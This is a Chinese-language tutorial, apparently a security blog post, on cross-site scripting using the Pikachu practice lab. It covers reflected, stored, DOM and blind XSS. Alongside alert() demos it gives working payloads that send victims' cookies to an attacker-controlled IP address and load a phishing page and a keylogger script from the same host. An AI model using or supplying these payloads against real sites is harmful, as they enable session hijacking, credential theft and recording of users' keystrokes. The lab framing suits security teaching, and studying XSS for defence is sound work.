关于xss的文章,在之前我们说过很多次。虽然关于xss的漏洞现在比较少了。但是对于我们学习安全来说,仍不过时。
视频演示
关于xss的类型
反射型:交互的数据一般不会被存在数据库里面,一次性,所见即所得,一般出现在查询页面等 存储型:交互的数据会被存在数据库里面,永久性存储,一般出现在留言板,注册等页面 DOM型:不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性,也属于反射型
XSS形成原因
形成XSS漏洞的主要原因是程序中输入和输出的控制不够严格。导致“精心构造”的脚本输入后,在输出到前端时被浏览器当作有效代码解析执行
反射型XSS(get)
我们对输入框审查元素。看到对文本框的最大长度做出了限制,修改maxlength="20"即可。
构造payload
<script>alert("欢迎关注微信公众号 kali黑客笔记")</script>
反射型XSS(post)
我们利用上一步破解的账号和密码进行登录(admin 123456),登录完成后。你会发现有个输入框。输入我们的payload即可。
反射型XSS的危害
对于反射型XSS,你会觉得不就是弹窗吗?他有什么危害呢?而他最大的危害就是盗取Cookie。如果用户盗取了管理员的Cookie 。这时他人没有管理员账号和密码。借助Cookie也能登录后台。
我们修改/pikachu/pkxss/inc/config.inc.php 中的数据库信息访问 http://localhost/pikachu ,访问管理工具里的XSS后台,初始化数据库。xss管理后台的的数据库信息,然后初始化后台。
构造盗取后台cookie的js代码
<script>document.location = 'http://192.168.123.129:88/xcookie/cookie.php?cookie=' + document.cookie;</script>
存储型XSS
相对于前者而言。这种xss是危害最大的。他会将恶意代码存放在数据库中。从而任何人登录,都会弹窗对应的js代码。payload
<script>alert("逍遥子大表哥")</script>
存储型XSS的利用
修改 pikachu/pkxss/xfish 下的 fish.php 文件,将IP地址改为攻击者的服务器地址。构造的Payload如下
<script src="http://192.168.123.129:88/pkxss/xfish/fish.php"></script>
键盘记录
修改 pikachu/pkxss/rkeypress 下rk.js 中的IP地址为攻击者地址rk.js是攻击代码,我们可以把这个 js 文件放到我们的恶意站点上,然后通过有 XSS 漏洞的页面去调用这个文件可以记录用户的键盘操作,然后异步发送给攻击者我们可以用下面的Payload测试一下
<script src="http://192.168.123.129:88/pkxss/rkeypress/rk.js"></script>
DOM型XSS
DOM可以理解为访问HTML的标准接口,DOM里面会把我们的HTML分成一个DOM树
我们可以以这棵树为入口,通过DOM的某些方法对树进行操作,比如对标签的添加、改变和删除等等DOM这个东西相当于在前端提供了一个通过JS去对HTML进行操作的接口构造的Payload如下
#' onclick=alert("逍遥子大表哥")>
XSS之盲打
在前端输入相应的js代码后,前端是不显示的。当管理员登录到后台。就是显示相关js代码。
<script>alert("I'm 逍遥子大表哥")</script>
更多精彩文章 欢迎关注我们
还没有评论,来说两句吧...